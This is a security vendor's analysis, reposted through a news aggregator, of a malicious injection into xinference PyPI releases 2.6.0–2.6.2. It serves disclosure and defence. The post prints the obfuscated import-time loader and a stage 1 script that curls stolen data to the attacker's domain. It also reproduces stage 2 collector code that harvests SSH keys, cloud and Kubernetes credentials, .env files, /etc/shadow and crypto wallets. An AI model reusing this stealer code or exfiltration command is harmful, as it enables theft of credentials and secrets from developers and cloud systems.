惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
CXSECURITY Database RSS Feed - CXSecurity.com
P
Privacy International News Feed
V
Vulnerabilities – Threatpost
The Last Watchdog
The Last Watchdog
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
O
OpenAI News
T
Threat Research - Cisco Blogs
WordPress大学
WordPress大学
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
P
Palo Alto Networks Blog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
H
Help Net Security
P
Proofpoint News Feed
MyScale Blog
MyScale Blog
Security Archives - TechRepublic
Security Archives - TechRepublic
T
The Blog of Author Tim Ferriss
H
Hackread – Cybersecurity News, Data Breaches, AI and More
S
Securelist
Vercel News
Vercel News
S
Security Affairs
D
Darknet – Hacking Tools, Hacker News & Cyber Security
B
Blog RSS Feed
云风的 BLOG
云风的 BLOG
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Blog — PlanetScale
Blog — PlanetScale
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Last Week in AI
Last Week in AI
博客园_首页
Attack and Defense Labs
Attack and Defense Labs
G
Google Developers Blog
T
Tor Project blog
Project Zero
Project Zero
腾讯CDC
Schneier on Security
Schneier on Security
月光博客
月光博客
N
Netflix TechBlog - Medium
AWS News Blog
AWS News Blog
L
LINUX DO - 最新话题
P
Proofpoint News Feed
博客园 - 司徒正美
A
About on SuperTechFans
Latest news
Latest news
Scott Helme
Scott Helme
Hacker News: Ask HN
Hacker News: Ask HN
T
Threatpost
Hacker News - Newest:
Hacker News - Newest: "LLM"
C
CERT Recently Published Vulnerability Notes
Google DeepMind News
Google DeepMind News
博客园 - 聂微东

Step Security Blog

Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity Celebrating 1000 Repositories Secured with Harden Runner: A Journey of Growth and Collaboration - StepSecurity StepSecurity Detects Early Supply Chain Risk Signals in kilocode npm - StepSecurity Another npm Supply Chain Attack: The 'is' Package Compromise - StepSecurity anthropics/claude-code-action Security: How to Secure Claude Code in GitHub Actions with Harden-Runner - StepSecurity Harden-Runner detection: tj-actions/changed-files action is compromised - StepSecurity StepSecurity's Catalog of Fixes - StepSecurity Orchestrating Security: StepSecurity's Impact on 400+ Repositories and Future Plans - StepSecurity Announcing Anomalous Outbound Call Detection Using Machine Learning - StepSecurity Announcing GitHub Actions Advisor and StepSecurity Maintained Actions - StepSecurity Analysis of Backdoored XZ Utils Build Process with Harden-Runner - StepSecurity Announcing General Availability of Harden Runner - StepSecurity Milestone Achieved: 2500+ Public Repositories Secured with Harden-Runner - StepSecurity Build secretless CI/CD pipelines using wait-for-secrets - StepSecurity Introducing Apps & PATs: Centralized Visibility for GitHub Apps and Personal Access Tokens - StepSecurity CVE-2026-22709: Critical Sandbox Escape Vulnerability in vm2 - StepSecurity StepSecurity Now Supports Dark Mode - StepSecurity 2025 in Review: The Evolution of Supply Chain Security & What's Next - StepSecurity Bake Harden-Runner Into GitHub's Custom Runner Images for Organization-Wide CI/CD Security - StepSecurity StepSecurity Is Now Available on Azure Marketplace - StepSecurity Critical Remote Code Execution Vulnerabilities Discovered in React Server Components and Next.js - StepSecurity How Harden Runner Detected the Sha1-Hulud Supply Chain Attack in CNCF's Backstage Repository - StepSecurity Sha1-Hulud: The Second Coming - Zapier, ENS Domains, and Other Prominent NPM Packages Compromised - StepSecurity Supply Chain Security Alert: eslint-config-prettier Package Shows Signs of Compromise - StepSecurity 9,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Shai-Hulud: Self-Replicating Worm Compromises 500+ NPM Packages - StepSecurity Introducing npm Package Search: Find Where Any Package Was Introduced Across Your GitHub Organizations - StepSecurity StepSecurity Is Sponsoring GitHub Universe 2025 - StepSecurity s1ngularity: Popular Nx Build System Package Compromised with Data-Stealing Malware - StepSecurity Introducing StepSecurity Threat Intelligence: Real-Time Supply Chain Attack Alerts for Your SIEM - StepSecurity 8,000 Strong: Harden-Runner's Growing Impact on CI/CD Security - StepSecurity Securing Google Gemini in GitHub Actions with Harden-Runner - StepSecurity GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows - StepSecurity Introducing the NPM Package Cooldown Check - StepSecurity Securing GitHub Copilot in GitHub Actions with Harden-Runner - StepSecurity Calculate Your CI/CD Security ROI with StepSecurity's New ROI Calculator - StepSecurity How StepSecurity Harden Runner Detected Unexpected Microsoft Defender Installation on GitHub-hosted Ubuntu Runners - StepSecurity StepSecurity Harden Runner: Detect source code tampering during the build process - StepSecurity Suspicious Tag Movement in AWS’s GitHub Action: What Happened and Why It Matters - StepSecurity When 'Changed Files' Changed Everything: Our Black Hat 2025 Presentation on the tj-actions Supply Chain Breach - StepSecurity Lessons from AWS CodeBuild’s Memory-Dump Incident (CVE-2025-8217) - StepSecurity Supply Chain Security Alert: num2words PyPI Package Shows Signs of Compromise - StepSecurity When AI Meets CI/CD: Coding Agents in GitHub Actions Pose Hidden Security Risks - StepSecurity The GitHub Warning Everyone Ignores: 'This Commit Does Not Belong to Any Branch' - StepSecurity 8 GitHub Actions Secrets Management Best Practices to Follow - StepSecurity reviewdog GitHub Actions are compromised - StepSecurity 7,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Replace Third-Party Actions with StepSecurity Maintained Actions via Automated Pull Requests - StepSecurity StepSecurity Is Now Available on AWS Marketplace - StepSecurity Introducing StepSecurity Artifact Monitor: Detect Unauthorized Software Releases in minutes, not months - StepSecurity Introducing Workflow Run Policies: Guardrails for Blocking Non-Compliant GitHub Actions Runs - StepSecurity Harden-Runner Detects New Traffic to release-assets.githubusercontent.com Across Multiple Customers - StepSecurity Grafana GitHub Actions Security Incident - StepSecurity Export Harden-Runner Security Insights and Detections to Amazon S3 - StepSecurity Evolving Harden-Runner’s disable-sudo Policy for Improved Runner Security - StepSecurity Announcing Policy-Driven Automated Pull Requests for CI/CD Misconfiguration Remediation - StepSecurity Announcing StepSecurity’s Integration with RunsOn: Secure and Optimized CI/CD Pipelines - StepSecurity Secure Repo Just Got Better: New Features for GitHub Actions Security Best Practices - StepSecurity Why Compliance Auditors Are Looking at Your CI/CD Runners - And How to Prepare - StepSecurity Harden-Runner Flags Anomalous Outbound Call, Leading to Docker Documentation Update - StepSecurity StepSecurity Harden-Runner Now Secures GitHub Actions Workflows for Over 5,000 Open Source Projects - StepSecurity GitHub Actions Pwn Request Vulnerability - StepSecurity Prevent Ultralytics Style CI/CD Security Attacks with Network Security Controls - StepSecurity PyTorch Supply Chain Compromise - StepSecurity Unified Network Egress View: Centralize GitHub Actions Network Destinations for Your Enterprise - StepSecurity Uniting Developers and Security: Celebrating the Success of 500+ Open Source Projects Using StepSecurity's Orchestration Platform - StepSecurity 5 Effective Third-Party GitHub Actions Governance Best Practices - StepSecurity StepSecurity Recognized Among CRN’s "10 Hottest DevOps Startups Of 2024" - StepSecurity Streamline Your GitHub Actions Workflows with StepSecurity’s Latest Feature - StepSecurity StepSecurity Steps Up the Security Game with SOC 2 Type 2 Compliance - StepSecurity StepSecurity's Alignment with CISA's CI/CD Security Guidance - StepSecurity
TeamPCP Injects Two-Stage Credential Stealer into xinference PyPI Package - StepSecurity
2026-04-23 · via Step Security Blog

On April 22, 2026, three consecutive releases of xinference on PyPI — versions 2.6.0, 2.6.1, and 2.6.2 — were confirmed to carry a two-stage credential-stealing payload injected directly into xinference/__init__.py. The malware executes the moment any application runs import xinference, decodes a second-stage collector, harvests SSH keys, cloud credentials, environment variables, crypto wallets, and more, then exfiltrates everything as love.tar.gz via curl POST to the attacker-controlled domain whereisitat.lucyatemysuperbox.space. All three versions have been yanked from PyPI.

The actor marker # hacked by teampcp is embedded in the decoded first-stage payload. TeamPCP is the same threat actor behind the litellm supply chain compromise on March 24, 2026, and the telnyx supply chain compromise on March 27, 2026. Across three versions published over the course of this campaign, the attacker iterates on where to hide the injection — moving from bare module scope (2.6.0) to inside a legitimate helper function (2.6.2) — a clear sign of live operational refinement.

We independently performed static analysis on all three compromised versions, fully decoding both stages of the payload. This post documents the full technical details, including the decoded credential collector.

Background: What Is xinference?

Xinference (Xorbits Inference) is an open-source LLM inference framework that lets developers run large language models locally or in distributed environments. It supports a wide range of models including LLaMA, Mistral, Qwen, and multimodal models, and provides both a Python API and a REST interface. It is widely used in AI application development, MLOps pipelines, and enterprise LLM deployments.

Environments running xinference typically hold elevated cloud credentials: GPU instance IAM roles, model registry tokens, object storage access keys, and Kubernetes service account tokens are all common in xinference deployment configurations. This makes it a high-value target for a credential-stealing campaign.

The Injection: Three Versions, One Payload

The malicious code is injected into a single file: xinference/__init__.py — the package's top-level init module. Because Python executes __init__.py on every import, no special trigger is needed. The payload fires on:

     
  • import xinference in application code
  •  
  • xinference CLI invocation
  •  
  • Service startup when xinference is initialized
  •  
  • Any downstream dependency resolution that imports xinference

There are no .pth files and no install hooks. The payload is embedded directly in source and fires unconditionally on import.

The Injection: Three Versions, One Payload

The malicious code is injected into a single file: xinference/__init__.py — the package's top-level init module. Because Python executes __init__.py on every import, no special trigger is needed. The payload fires on:

     
  • import xinference in application code
  •  
  • xinference CLI invocation
  •  
  • Service startup when xinference is initialized
  •  
  • Any downstream dependency resolution that imports xinference

There are no .pth files and no install hooks. The payload is embedded directly in source and fires unconditionally on import.

Version 2.6.0 — Module-Scope Injection

In 2.6.0, the attacker places the malicious code directly at module scope, between the intel_extension_for_pytorch import block and the legitimate _install() function:

try:
    import intel_extension_for_pytorch  # noqa: F401
except Exception:
    pass

test = "IyBoYWNrZWQgYnkgdGVhbXBjcCANCmltcG9ydCBvcyx..."  # <-- malicious payload blob

subprocess.Popen(                                         # <-- fires immediately on import
    [sys.executable, "-c", f"import base64; exec(base64.b64decode('{test}'))"],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL,
)

def _install():                                           # <-- legitimate function follows
    from xoscar.backends.router import Router
    ...

The subprocess.Popen call at module scope fires the moment the module is imported. The detached subprocess suppresses all output, so no error or indicator is visible to the running application.

Version 2.6.1 — Moved Inside _install(), Synchronous exec()

In 2.6.1, the attacker moves the injection inside the existing _install() function — a more subtle placement that would not stand out in a casual code review. However, 2.6.1 uses exec() directly rather than spawning a subprocess:

def _install():
    from xoscar.backends.router import Router
    import base64

    test = "IyBoYWNrZWQgYnkgdGVhbXBjcCANCm..."  # <-- payload moved inside function

    exec(base64.b64decode(test))                  # <-- runs synchronously, no detachment
    # subprocess.Popen(                           # <-- Popen commented out
    #     [sys.executable, "-c", ...],
    #     ...
    # )

    default_router = Router.get_instance_or_empty()
    Router.set_instance(default_router)

The exec() approach means the credential harvester runs synchronously inside _install() before the router is set up. The Popen call is commented out, suggesting the attacker was experimenting with execution strategies and may have left 2.6.1 out as an intermediate step.

Version 2.6.2 — Moved Inside _install(), Async Popen Restored

Version 2.6.2 is the most refined. The payload stays inside _install() but the detached subprocess.Popen is restored, and tempfile is added to the top-level imports:

import os
import subprocess
import sys
import tempfile    # <-- added in 2.6.2
import base64

...

def _install():
    from xoscar.backends.router import Router

    test = "IyBoYWNrZWQgYnkgdGVhbXBjcCANCm..."  # payload inside function

    subprocess.Popen(                              # <-- async, detached, hidden in function
        [sys.executable, "-c", f"import base64; exec(base64.b64decode('{test}'))"],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
    )

    default_router = Router.get_instance_or_empty()
    Router.set_instance(default_router)

Version 2.6.2 achieves both goals: the payload is hidden inside a legitimate function (less obvious in diffs), and execution is detached (non-blocking, stderr suppressed). The tempfile import at the top level is required by the start() function inside the decoded stage 1 payload.

Attacker iteration: The 2.6.0 → 2.6.1 → 2.6.2 progression shows the attacker actively refining the injection technique: 2.6.0 is module-scope (obvious in a diff); 2.6.1 hides it inside a function but mistakenly drops async execution; 2.6.2 achieves both stealth and asynchrony. This rapid versioning over the course of a single campaign day is a hallmark of TeamPCP’s operational pattern, previously seen in the litellm 1.82.7 → 1.82.8 and telnyx 4.87.1 → 4.87.2 progressions.

Stage 1 — The Wrapper and start() Function

The test variable in all three versions decodes to an identical first-stage script. It opens with the actor marker:

# hacked by teampcp
import os,base64,tempfile,subprocess,sys

The script defines a start() function and a second base64 blob jk (the credential collector). The start() function:

def start():
    with tempfile.TemporaryDirectory() as d:
        collected = os.path.join(d, "f")
        l = os.path.join(d, "love.tar.gz")
        try:
            j = base64.b64decode(jk)            # decode stage 2 collector

            with open(collected, "wb") as f:
                subprocess.run(
                    [sys.executable, "-"],       # pipe stage 2 to python stdin
                    input=j,
                    stdout=f,                    # capture all output to temp file
                    stderr=subprocess.DEVNULL,
                    check=True
                )
        except Exception:
            return
        if not os.path.exists(collected) or os.path.getsize(collected) == 0:
            return
        try:
            subprocess.run(["tar", "-czf", l, "-C", d, "f"], check=True)
            subprocess.run([
                "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
                "https://whereisitat.lucyatemysuperbox.space/",
                "-H", "X-QT-SR: 14",
                "-H", "Content-Type: application/octet-stream",
                "--data-binary", f"@{l}"
            ], check=True, stderr=subprocess.DEVNULL)
        except Exception as e:
            pass

if __name__ == "__main__":
    start()

Key observations:

     
  • The collector’s output is piped to a temp file before compression — the stage 2 script writes collected data to stdout, which is captured.
  •  
  • The archive is named love.tar.gz (distinct from tpcp.tar.gz used in litellm/telnyx — see Attribution section).
  •  
  • Exfiltration uses a custom header X-QT-SR: 14, which serves as a campaign identifier on the attacker’s server.
  •  
  • The entire temp directory — including love.tar.gz and the collected credentials file — is automatically cleaned up by Python’s TemporaryDirectory context manager after the POST completes. No artifacts remain on disk.
  •  
  • There is no encryption layer in this campaign. Unlike litellm and telnyx (which used AES-256-CBC + RSA-4096 OAEP), the xinference payload sends credential data as a plain compressed archive. This is consistent with either a different actor or a simplified variant of the toolkit.

Stage 2 — The Credential Collector

The jk variable decodes to a self-contained Python credential harvester. It is piped into a fresh Python interpreter via stdin and never written to disk. The collector is comprehensive — it targets every credential type commonly present in cloud-connected development and ML inference environments.

System Reconnaissance

The collector runs initial reconnaissance before harvesting credentials:

run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
run('printenv')

The run() helper runs a shell command, captures stdout, and writes it with a === CMD: ... === separator to the output stream.

SSH Keys

for h in homes+['/root']:
    for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa',
              '/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
        emit(h+f)
    walk([h+'/.ssh'],2,lambda fp,fn:True)   # all files in .ssh, depth 2

walk(['/etc/ssh'],1,lambda fp,fn:fn.startswith('ssh_host') and fn.endswith('_key'))  # host keys

AWS Credentials — Disk, Environment, and Live IMDS

AWS credentials are targeted three ways: from the filesystem, from environment variables, and via live IMDS API calls for EC2 instance roles:

/

for h in homes+['/root']:
    emit(h+'/.aws/credentials')
    emit(h+'/.aws/config')

run('env | grep AWS_')

# IMDS v2 token + role credential fetch
tkn_req = urllib.request.Request('http://169.254.169.254/latest/api/token',
    headers={'X-aws-ec2-metadata-token-ttl-seconds':'21600'}, method='PUT')
# ... fetches role name, then role credentials from IMDS

Beyond credentials, the collector makes live API calls to AWS Secrets Manager (ListSecrets) and AWS SSM Parameter Store (DescribeParameters) using whatever keys are available — including those retrieved from IMDS.

Kubernetes

emit('/var/run/secrets/kubernetes.io/serviceaccount/token')
emit('/var/run/secrets/kubernetes.io/serviceaccount/ca.crt')
for h in homes+['/root']:
    emit(h+'/.kube/config')
emit('/etc/kubernetes/admin.conf')
emit('/etc/kubernetes/kubelet.conf')
run('kubectl get secrets --all-namespaces -o json 2>/dev/null || true')

GCP, Azure, Docker

walk([h+'/.config/gcloud'],4,lambda fp,fn:True)
emit('/root/.config/gcloud/application_default_credentials.json')
run('env | grep -i google; env | grep -i gcloud')

walk([h+'/.azure'],3,lambda fp,fn:True)
run('env | grep -i azure')

emit(h+'/.docker/config.json')
emit('/kaniko/.docker/config.json')

Environment Files — Deep Recursive Walk

walk(all_roots, 6, lambda fp,fn: fn in {
    '.env', '.env.local', '.env.production', '.env.development', '.env.staging'
})

The all_roots list includes /home/*, /root, /opt, /srv, /var/www, /app, /data, /var/lib, and /tmp. Depth 6 means it will descend into nested monorepo structures and Docker volume mounts.

Developer Credentials and Shell History

emit(h+'/.npmrc')
emit(h+'/.pypirc')
emit(h+'/.cargo/credentials.toml')
emit(h+'/.vault-token')
emit(h+'/.netrc')
emit(h+'/.pgpass')
emit(h+'/.mongorc.js')
for hist in ['/.bash_history','/.zsh_history','/.sh_history',
             '/.mysql_history','/.psql_history','/.rediscli_history']:
    emit(h+hist)

TLS/SSL Private Keys

walk(['/etc/ssl/private'],1,lambda fp,fn:fn.endswith('.key'))
walk(['/etc/letsencrypt'],4,lambda fp,fn:fn.endswith('.pem'))
walk(all_roots,5,lambda fp,fn:os.path.splitext(fn)[1] in {'.pem','.key','.p12','.pfx'})

CI/CD Configuration Files

for ci in ['terraform.tfvars','.gitlab-ci.yml','.travis.yml','Jenkinsfile','.drone.yml']:
    emit(ci)
walk(all_roots,4,lambda fp,fn:fn.endswith('.tfvars'))
walk(all_roots,4,lambda fp,fn:fn=='terraform.tfstate')

Crypto Wallets

The collector targets Bitcoin, Ethereum, Cardano, and Solana wallets — consistent with xinference's popularity in AI-adjacent communities where crypto infrastructure is common:

emit(h+'/.bitcoin/bitcoin.conf')
emit(h+'/.ethereum/keystore')       # Ethereum keystore directory
walk([h+'/.cardano'],3,lambda fp,fn:fn.endswith('.skey') or fn.endswith('.vkey'))
walk([h+'/.config/solana'],3,lambda fp,fn:True)
emit(h+'/validator-keypair.json')   # Solana validator keys

System Files

emit('/etc/passwd')
emit('/etc/shadow')
run('cat /var/log/auth.log 2>/dev/null | grep Accepted | tail -200')
run('grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20')

No encryption in this campaign. Unlike the litellm and telnyx compromises, which wrapped stolen data with AES-256-CBC + RSA-4096 OAEP before exfiltration, the xinference payload sends a plain tar.gz to the C2 server. The absence of the RSA public key — a defining artifact of TeamPCP’s prior campaigns — is the main technical evidence supporting the group’s own claim that this may be a copycat. However, the # hacked by teampcp marker, the identical injection pattern, and the multi-version iteration cadence are all consistent with TeamPCP’s established methodology.

Exfiltration

All collected data is compressed into love.tar.gz and POSTed to:

curl -s -o /dev/null -w "%{http_code}" \
  "https://whereisitat.lucyatemysuperbox.space/" \
  -H "X-QT-SR: 14" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "@/tmp/.../love.tar.gz"

The custom header X-QT-SR: 14 is a server-side routing key — it allows the attacker’s infrastructure to distinguish xinference-originated exfiltration from other campaigns. The archive name love.tar.gz differs from tpcp.tar.gz used in litellm and telnyx. The temp directory is auto-cleaned after the POST, leaving no artifacts on disk.

Indicators of Compromise

     
  • Malicious packages: xinference==2.6.0, xinference==2.6.1, xinference==2.6.2
  •  
  • Injection file: xinference/__init__.py — malicious test variable and trigger added
  •  
  • Actor marker: # hacked by teampcp (first line of decoded stage 1 payload)
  •  
  • C2 / exfiltration domain: whereisitat.lucyatemysuperbox.space
  •  
  • Exfiltration endpoint: https://whereisitat.lucyatemysuperbox.space/
  •  
  • Exfiltration method: curl --data-binary POST
  •  
  • Exfiltration header: X-QT-SR: 14
  •  
  • Exfiltration archive: love.tar.gz (created in temp dir; auto-cleaned post-upload)
  •  
  • Execution pattern: subprocess.Popen with suppressed stdout/stderr; stage 2 piped to python - via stdin

SHA-256 Hashes

     
  • xinference-2.6.0-py3-none-any.whlf677cd06e0dfbd23b6feb47f31d49cb8fcc88ed0487d30143d36d4f54261e3de
  •  
  • xinference-2.6.1-py3-none-any.whl4c5c589f543b1a02251451ab3baaeed7c82851de10fa33f87b95a85e3040c92e
  •  
  • xinference-2.6.2-py3-none-any.whl96007d4ee4171e383cecdf7a34b606bfcb78eff435182dc86daa49a17153dcd3

Remediation

Immediate actions if xinference 2.6.0, 2.6.1, or 2.6.2 was installed on any system:

Check your installed version:

pip show xinference

If the Version field shows 2.6.0, 2.6.1, or 2.6.2, the system is compromised. Downgrade immediately:

pip install "xinference<2.6.0"

Check for leftover exfiltration artifacts (auto-cleaned in most cases, but worth verifying):

find /tmp -name 'love.tar.gz' 2>/dev/null

Audit outbound network logs for any HTTPS connections to whereisitat.lucyatemysuperbox.space. Any connection confirms credential exfiltration occurred.

Rotate all credentials accessible on affected systems: AWS access keys (including instance role credentials retrieved from IMDS), Kubernetes service account tokens and kubeconfig certificates, SSH private keys, GCP service account keys, Azure credentials, all .env file values, Docker registry tokens, npm and PyPI tokens, and any API keys present in environment variables.

Rotate AWS Secrets Manager and SSM Parameter Store secrets — the stage 2 collector makes live API calls to both services and retrieves secret values directly using available credentials.

Runtime Validation with StepSecurity Harden-Runner

StepSecurity ran the compromised package in a controlled GitHub Actions environment with Harden-Runner enabled. The run confirms the malware fires immediately on import xinference and that the exfiltration attempt to whereisitat.lucyatemysuperbox.space was automatically blocked by Harden-Runner’s global block list — no credentials left the runner.

View the full network event trace on the StepSecurity Insights page →

Network Events — Attack Blocked

Harden-Runner’s eBPF-based network monitor captured and blocked the outbound curl POST to whereisitat.lucyatemysuperbox.space. The domain is on the Harden-Runner global block list, which applies across all protected workflows — even those running in egress-policy: audit mode.

Harden-Runner network events for the run, showing the outbound HTTPS connection to whereisitat.lucyatemysuperbox.space

Harden-Runner blocked this attack on the CI/CD runner.The exfiltration domain whereisitat.lucyatemysuperbox.space is on the Harden-Runner global block list. Any workflow protected by Harden-Runner — regardless of egress policy — would have had the outbound POST blocked before love.tar.gz could be delivered to the attacker. No credentials would have left the runner.View live run →  ·  Learn about Harden-Runner →

How StepSecurity Helps

Compromised Package Check

StepSecurity’s Compromised Package Check flags known-compromised versions of PyPI packages in your CI/CD pipelines and repositories before they are installed. For xinference, all three compromised versions — 2.6.0, 2.6.1, and 2.6.2 — are tracked. Any workflow or dependency file referencing these versions will surface an immediate alert.

StepSecurity Compromised Package Check Failure for PR that adds compromised package

PyPI Cooldown Check

TeamPCP published all three compromised versions within a single day — an abnormal publishing cadence that is a strong signal of a supply chain attack. StepSecurity’s PyPI Cooldown Check enforces a waiting period before newly published package versions are allowed to install in your CI/CD pipelines. A version of xinference published today would not be auto-installed until it had been live long enough to be reviewed — giving the community time to detect and report the compromise before it could execute in your workflows.

StepSecurity PyPI Cooldown Check blocking installation of xinference 2.6.2 published less than 24 hours ago

PyPI Package Search

Use StepSecurity’s PyPI package search to instantly check whether any of the compromised xinference versions are present across your organization’s repositories and workflows:

StepSecurity PyPI package search results showing repositories and workflows referencing compromised xinference versions]